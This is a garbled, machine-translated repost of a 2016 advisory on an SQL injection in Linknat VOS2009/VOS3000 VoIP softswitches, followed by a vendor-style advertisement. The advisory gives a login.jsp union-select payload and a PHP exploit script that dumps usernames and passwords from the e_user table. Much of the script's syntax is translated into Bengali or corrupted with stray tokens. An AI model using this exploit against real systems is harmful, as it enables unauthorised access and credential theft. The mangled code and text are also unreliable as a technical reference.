Linknat VOS2009/VOS3000 SQL เฆเฆจเฆเงเฆเฆถเฆจ
เฆฅเงเฆเง: เฆเฆธเฆพเฆฎเฆพ เฆเฆพเฆฒเฆฟเฆฆ <osama ()="" codinghazard="" com="
">เฆคเฆพเฆฐเฆฟเฆ: 19 เฆฎเง, 2016 16:52:54 +0500</osama>
เฆเฆเฆเฆฟ เฆเฆธเฆเฆฟเฆเฆเฆฒ เฆเฆจเฆเงเฆเฆถเฆจ เฆฒเฆฟเฆเงเฆเฆจเฆพเฆ VOS3000/VOS2009, เฆเฆเฆเฆฟ เฆเฆจเฆชเงเฆฐเฆฟเฆฏเฆผ เฆญเฆฟเฆเฆเฆเฆชเฆฟ เฆชเฆพเฆเฆฏเฆผเฆพ เฆเงเฆเง
เฆธเฆซเฆเฆธเงเฆเฆ, เฆฏเฆพ เฆฆเงเฆฐเฆฌเฆฐเงเฆคเง เฆเฆเงเฆฐเฆฎเฆฃเฆเฆพเฆฐเงเฆฆเงเฆฐ เฆ
เงเฆฏเฆพเฆเงเฆธเงเฆธ เฆชเงเฆคเง เฆ
เฆจเงเฆฎเฆคเฆฟ เฆฆเฆฟเฆคเง เฆชเฆพเฆฐเง
เฆธเฆฐเฆฒ-เฆชเฆพเฆ เง เฆธเฆเฆฐเฆเงเฆทเฆฟเฆค เฆชเงเฆฐเฆฎเฆพเฆฃเฆชเฆคเงเฆฐเฆพเฆฆเฆฟเฅค
เฆเฆฌเงเฆฆเฆจ: เฆฒเฆฟเฆเงเฆเฆจเฆพเฆ VOS3000/VOS2009
เฆธเฆเฆธเงเฆเฆฐเฆฃ เฆชเงเฆฐเฆญเฆพเฆฌเฆฟเฆค: 2.1.1.5, 2.1.1.8, 2.1.2.0
เฆฌเฆฟเฆเงเฆฐเงเฆคเฆพเฆฐ เฆเฆเฆเฆฐเฆเฆฒ: http://www.linknat.com/
เฆฌเฆพเฆ: SQLi (DBA เฆธเงเฆฌเฆฟเฆงเฆพ เฆธเฆน)
เฆงเฆฐเฆจ: เฆฆเงเฆฐเฆฌเฆฐเงเฆคเง
เฆฐเงเฆเงเฆฒเฆฟเฆเฆถเฆจ: เฆซเฆฟเฆเงเฆธเฆก, เฆเฆชเฆเงเฆฐเงเฆก 2.1.2.4 เฆ
เฆฅเฆฌเฆพ 2.1.6.0 เฆชเฆฐเฆฟเฆทเงเฆเฆพเฆฐ เฆธเฆเฆธเงเฆเฆฐเฆฃ
เฆฐเงเฆซเฆพเฆฐเงเฆจเงเฆธ: WooYun-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458
เฆเฆธเฆเฆฟเฆเฆฒเฆฟ เฆฐเฆฟเฆชเงเฆฐเงเฆ เฆเฆฐเงเฆเง เฆฏเง เฆธเฆฎเฆฏเฆผ เฆญเฆฟเฆคเงเฆคเฆฟเฆ เฆ
เฆจเงเฆงเฅค เฆฏเงเฆนเงเฆคเง เฆเฆเฆฟ เฆเฆเฆเฆฟ เฆเฆจ-เฆฌเงเฆฏเฆพเฆจเงเฆก SQLI เฆจเฆฏเฆผ,
เฆซเฆฒเฆพเฆซเฆฒ เฆธเงเฆฌเฆพเฆเฆคเฆฎ เฆเฆเฆเฆชเงเฆ เฆฅเงเฆเง เฆธเฆเฆเงเฆฐเฆน เฆเฆฐเฆพ เฆฏเงเฆคเง เฆชเฆพเฆฐเง.jsp เฆเฆเฆ เฆธเฆฎเฆฏเฆผเง
เฆธเงเฆธเฆเฆฌเฆฆเงเฆงเฅค
(เงงเฆฎ เฆ
เฆจเงเฆฐเงเฆง)
เฆชเงเฆธเงเฆ http://target/eng/login.jsp
PARAM เฆฒเฆเฆเฆจเฆเฆพเฆเฆช=1
name=' เฆเฆเฆจเฆฟเฆฏเฆผเฆจ เฆจเฆฟเฆฐเงเฆฌเฆพเฆเฆจ 1,2,@@version,'เฆนเงเฆฏเฆพเฆฒเง', 5,6#
เฆชเฆพเฆธ=' เฆ
เฆฅเฆฌเฆพ '='
(เฆเฆเฆ เฆ
เฆงเฆฟเฆฌเงเฆถเฆจเง เงจเฆฏเฆผ เฆ
เฆจเงเฆฐเงเฆง)
http://target/eng/welcome.jsp
เฆซเฆฒเฆพเฆซเฆฒ 0|' เฆเฆเฆจเฆฟเฆฏเฆผเฆจ เฆจเฆฟเฆฐเงเฆฌเฆพเฆเฆจ
1,2,@@version,'เฆนเงเฆฏเฆพเฆฒเง', 5,6#|1|5.0.51a-เฆธเฆฎเงเฆชเงเฆฐเฆฆเฆพเฆฏเฆผ|เฆนเงเฆฏเฆพเฆฒเง|0.00|0.00|
<?php
#
# Linknat VOS2[ EXPLOIT CODE ]009/VOS3000 SQLi exploit
#
# DISCLAIMER: The exploit is to be used for educational purposes only
# The author would not be responsible for any misuse
#
# AUTHOR: Osama Khalid
# WEBSITE: http://www.codinghazard.com/
# DATE: 19/05/2016
# REF: http://www.wooyun.org/bugs/wooyun-2010-0145458
if ($argc < 2) {
banner();
usage();
exit;
}
$host = $argv;
$column_one = isset($argv) ? [1]$argv : "loginname";
$column_[2]two = i[2]sset($argv) ? $argv : "password";
$table [3] = isse[3]t($argv) ? $argv : "e_user";
$other [4]= isset($[4]argv) ? $argv : "";
function banner() {
[5] echo [5]"########################################n";
echo "# #n";
echo "# Linknat VOS3000/VOS2009 SQLi exploit #n";
echo "# #n";
echo "# Osama Khalid #n";
echo "########### codinghazard.com ###########n";
}
function usage() {
echo "n";
echo "php vos3000.php n";
echo "php vos3000.php 127.0.0.1n";
[HOST] echo "php vos3000.php n";
echo "php vos3000.php 127.0.0.1 tab[HOST]l[COL1]e[COL2]_[TABLE]s[OTHER SQL]chema table_name
information_schema.tables "where table_schema = 'mysql'"
n";
}
function curl($url, $post = array(), $cookies = null, $header = false) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($curl, CURLOPT_HEADER, $header);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
if ($cookies != null)
curl_setopt($curl, CURLOPT_COOKIE, $cookies);
if (count($post) > 0) {
เฆชเงเฆฐเฆคเฆฟเฆเฆฟ ($key => $value เฆนเฆฟเฆธเฆพเฆฌเง $post
$post เฆเฆเฆเงเฆฎ = $keyเฅค '=' . urlencode($value);
$post เฆธเงเฆเงเฆฐเฆฟเฆ = เฆเฆฎ[]เงเฆชเงเฆฐเงเฆญเฆพเฆเฆ เฆเฆฐเงเฆจ('&', $post_เฆเฆเฆเงเฆฎ);
curl_setopt ($curl, CURLOPT_POST, เงง);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post เฆธเงเฆเงเฆฐเฆฟเฆ);
}
$data = curl_exec($curl);
curl_close($curl);
$data เฆชเงเฆฐเฆคเงเฆฏเฆพเฆฌเฆฐเงเฆคเฆจ;
}
เฆซเฆพเฆเฆถเฆจ เฆเงเฆฏเฆผเงเฆฐเฆฟ($host, $query) {
$data = เฆเฆพเฆฐเงเฆฒ ("http://$host/eng/login.jsp";, เฆ
เงเฆฏเฆพเฆฐเง
"loginType" => 1,
"เฆจเฆพเฆฎ" => "" เฆเฆเฆจเฆฟเฆฏเฆผเฆจ" เฅค $query เฅค "#",
"เฆชเฆพเฆธ" => "" เฆ
เฆฅเฆฌเฆพ "="
), เฆถเงเฆจเงเฆฏ, เฆธเฆคเงเฆฏ);
preg_match_all('|' เฆธเงเฆ-เฆเงเฆเฆฟ: (.*);|U', $data, $matches);
$cookies = เฆฌเฆฟเฆธเงเฆซเงเฆฐเฆฟเฆค('; ', $matches);
$data = เฆเฆพเฆฐเงเฆฒ ("http://$host/eng/welcome.jsp";,[1] เฆ
เงเฆฏเฆพเฆฐเง(), $cookies, เฆฎเฆฟเฆฅเงเฆฏเฆพ);
$parts = เฆฌเฆฟเฆธเงเฆซเงเฆฐเฆฃ("|", เฆเฆพเฆเฆเฆพ($data);;
เฆฏเฆฆเฆฟ (เฆเฆฃเฆจเฆพ($parts) < 7)
return false;
return array($parts, $parts);
}
function ascii_table($data) {
$keys = [3]array_key[4]s(end($data));
$wid = array_map('strlen', $keys);
foreach($data as $row) {
foreach(array_values($row) as $k => $v)
$wid = เฆธเฆฐเงเฆฌเงเฆเงเฆ ($wid, เฆธเงเฆเงเฆฐเฆฒเงเฆจ($v);
}
เฆชเงเฆฐเฆคเฆฟเฆเฆฟ ($k => $v [$k]เฆนเฆฟเฆธเฆพเฆฌเง $wid)[$k] {
$fmt = "%-{$v}s";
$sep = str_repeat('-',', $v);[$k]
}
$fmt = '| ' . เฆฌเฆฟ[$k]เฆธเงเฆซเงเฆฐเฆฟเฆค(' | ', $fmt)เฅค ' |';
$sep = '+-'เฅค ('-+-', $sep)เฅค '-+';
$buf = เฆ
เงเฆฏเฆพเฆฐเง ($sep, vsprintf($fmt, $keys), $sep);
$row เฆนเฆฟเฆธเงเฆฌเง $data) {
$buf = vsprintf($fmt, $row);
$buf = $sep;
}
เฆฐเฆฟเฆเฆพเฆฐเงเฆจ เฆ[]เฆฎเงเฆชเงเฆฐเงเฆญเฆพเฆเฆ ("n", $buf);
}
เฆฌเงเฆฏเฆพเฆจเฆพเฆฐ();[]
"n";
เฆชเงเฆฐเฆคเฆฟเฆงเงเฆฌเฆจเฆฟ "เฆเฆพเฆฐเงเฆเงเฆ: $hostn";
เฆชเงเฆฐเฆคเฆฟเฆงเงเฆฌเฆจเฆฟ "เฆเฆฒเฆพเฆฎ #1: $column_เฆเฆn";
เฆชเงเฆฐเฆคเฆฟเฆงเงเฆฌเฆจเฆฟ "เฆเฆฒเฆพเฆฎ #2: $column_2n";
เฆชเงเฆฐเฆคเฆฟเฆงเงเฆฌเฆจเฆฟ "เฆเงเฆฌเฆฟเฆฒ: $tablen";
เฆชเงเฆฐเฆคเฆฟเฆงเงเฆฌเฆจเฆฟ "เฆ
เฆจเงเฆฏเฆพเฆจเงเฆฏ: $othern";
"n";
$results = เฆ
เงเฆฏเฆพเฆฐเง();
$count_เฆซเฆฒเฆพเฆซเฆฒ = เฆเฆฟเฆเงเฆเฆพเฆธเฆพ ($host, "เฆจเฆฟเฆฐเงเฆฌเฆพเฆเฆจ เฆเฆฐเงเฆจ 1,2,Count(*), 4,5,6 เฆฅเงเฆเง $table
$other");
เฆฏเฆฆเฆฟ ($count_เฆซเฆฒเฆพเฆซเฆฒ) {
$count = intval ($count_เฆซเฆฒเฆพเฆซเฆฒ);
เฆชเงเฆฐเฆคเฆฟเฆงเงเฆฌเฆจเฆฟ "เฆเงเฆเฆเง $count เฆธเฆพเฆฐเฆฟ...n";
$i=0[0]; $i<$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table
$other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" .
hex2bin($result) . " ,="" "="" .="" $column_two="" .="" "=[0]" . hex2bin($result) .
" n";="" }="" else="" {="[1]" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array($column_one" ==""[]> เฆนเงเฆเงเฆธเงจเฆฌเฆฟเฆจ($result), $column_เฆเง
=> เฆนเงเฆเง[0]เฆธเงจเฆฌเฆฟเฆจ($result);เฅค
}
เฆฏเฆฆเฆฟ (เฆเฆฃเฆจเฆพ([1]$results) > 0) {
เฆชเงเฆฐเฆคเฆฟเฆงเงเฆฌเฆจเฆฟ "nn"เฅค ascii_table($results)เฅค "n";
}
} เฆ
เฆจเงเฆฏเฆฅเฆพเฆฏเฆผ {
เฆชเงเฆฐเฆคเฆฟเฆงเงเฆฌเฆจเฆฟ "เฆธเฆพเฆฐเฆฟ เฆเฆฃเฆจเฆพ เฆชเงเฆจเฆฐเงเฆฆเงเฆงเฆพเฆฐเฆเฆฐเฆคเง เฆคเงเฆฐเงเฆเฆฟ";
}
?></$count;>2016 เฆฅเงเฆเง เฆฏเฆพเฆฐเฆพ VOS3000 เฆนเงเฆฏเฆพเฆ เฆเฆฐเฆพเฆฐ เฆเฆจเงเฆฏ เฆเฆฟเฆเง SQL เฆเฆจเฆเงเฆเฆถเฆจ เฆจเฆฐเฆฎ เฆธเฆพเฆฎเฆเงเฆฐเง เฆฌเงเฆฏเฆฌเฆนเฆพเฆฐ เฆเฆฐเง, เฆเฆฎเฆพเฆฆเงเฆฐ เฆจเฆฟเฆเฆธเงเฆฌ เฆจเฆฟเฆฐเฆพเฆชเฆคเงเฆคเฆพ เฆฌเงเฆฏเฆฌเฆธเงเฆฅเฆพ เฆเฆเง, เฆเฆฎเฆฐเฆพ เฆเฆเฆจ เฆเฆฎเฆพเฆฆเงเฆฐ เฆจเฆฟเฆฐเฆพเฆชเฆคเงเฆคเฆพ เฆฌเงเฆฏเฆฌเฆธเงเฆฅเฆพ เฆเงเฆฌ เฆถเฆเงเฆคเฆฟเฆถเฆพเฆฒเง, เฆเฆฎเฆพเฆฐ เฆเฆพเฆเงเฆฐ เฆซเงเฆเฆพเฆธ เฆธเฆฌเฆธเฆฎเฆฏเฆผ เฆญเฆฟเฆเฆเฆเฆชเฆฟ เฆธเฆซเฆ-เฆธเงเฆเฆเงเฆฐ เฆเฆจเงเฆฏ เฆจเฆฟเฆฐเฆพเฆชเฆคเงเฆคเฆพเฆฐ เฆเฆจเงเฆฏ เฆเฆฟเฆฒเฅค เฆฌเงเฆถเฆฟเฆฐเฆญเฆพเฆ เฆธเฆฎเฆฏเฆผ เฆเฆฎเฆฟ เฆฌเฆฟเฆจเฆพเฆฎเงเฆฒเงเฆฏเง เฆเฆชเฆฆเงเฆถ เฆฆเฆฟเฆคเฆพเฆฎ เฆ
เฆฅเฆฌเฆพ เฆฏเฆคเฆเฆพ เฆธเฆฎเงเฆญเฆฌ เฆฌเฆฟเฆจเฆพเฆฎเงเฆฒเงเฆฏเง เฆคเฆฅเงเฆฏ เฆถเงเฆฏเฆผเฆพเฆฐ เฆเฆฐเฆคเฆพเฆฎเฅค เฆเฆเฆจเง เฆ
เฆจเงเฆ เฆจเงเฆเฆฐเฆพ เฆเฆฟเฆจเฆฟเฆธ เฆเงเฆฐเง เฆฌเงเฆกเฆผเฆพเฆเงเฆเง, เฆคเฆพเฆ เฆฆเฆฏเฆผเฆพ เฆเฆฐเง เฆธเฆฌเฆธเฆฎเฆฏเฆผ เฆธเฆพเฆฌเฆงเฆพเฆจ เฆฅเฆพเฆเงเฆจ เฆเฆฌเฆ เฆเฆฐเง เฆเฆพเฆจเงเฆจเฅค เฆ
เฆจเงเฆฏเฆฅเฆพเฆฏเฆผ เฆเฆชเฆจเฆฟ เฆเฆเฆจเงเฆ เฆญเฆพเฆฒ เฆฌเงเฆฏเฆฌเฆธเฆพ เฆเฆฐเฆคเง เฆชเฆพเฆฐเฆฌเงเฆจ เฆจเฆพเฅค เฆเฆเฆเฆพเฆฒ เฆฏเฆพเฆฐเฆพ VOS3000 เฆเงเฆฒเฆพเฆฏเฆผเงเฆจเงเฆ เฆธเฆซเฆเฆเฆฏเฆผเงเฆฏเฆพเฆฐเง เฆฒเงเฆเฆพเฆจเง เฆธเงเฆเงเฆฐเฆฟเฆชเงเฆ เฆฌเฆพ เฆฎเงเฆฏเฆพเฆฒเฆเฆฏเฆผเงเฆฏเฆพเฆฐ เฆฌเงเฆฏเฆฌเฆนเฆพเฆฐ เฆเฆฐเง VOS เฆธเฆพเฆฐเงเฆญเฆพเฆฐ เฆนเงเฆฏเฆพเฆ เฆเฆฐเง.
เฆเฆฐเฆ เฆธเฆพเฆนเฆพเฆฏเงเฆฏเงเฆฐ เฆเฆจเงเฆฏ เฆเฆฎเฆพเฆเง เฆนเงเฆฏเฆผเฆพเฆเฆธเฆ
เงเฆฏเฆพเฆชเง เฆจเฆ เฆเฆฐเงเฆจ: +880191119966 – เฆเฆฎเฆฟ เฆธเฆฌ เฆเฆชเฆพเฆฏเฆผเง เฆธเฆพเฆนเฆพเฆฏเงเฆฏ เฆเฆฐเฆฌเฅค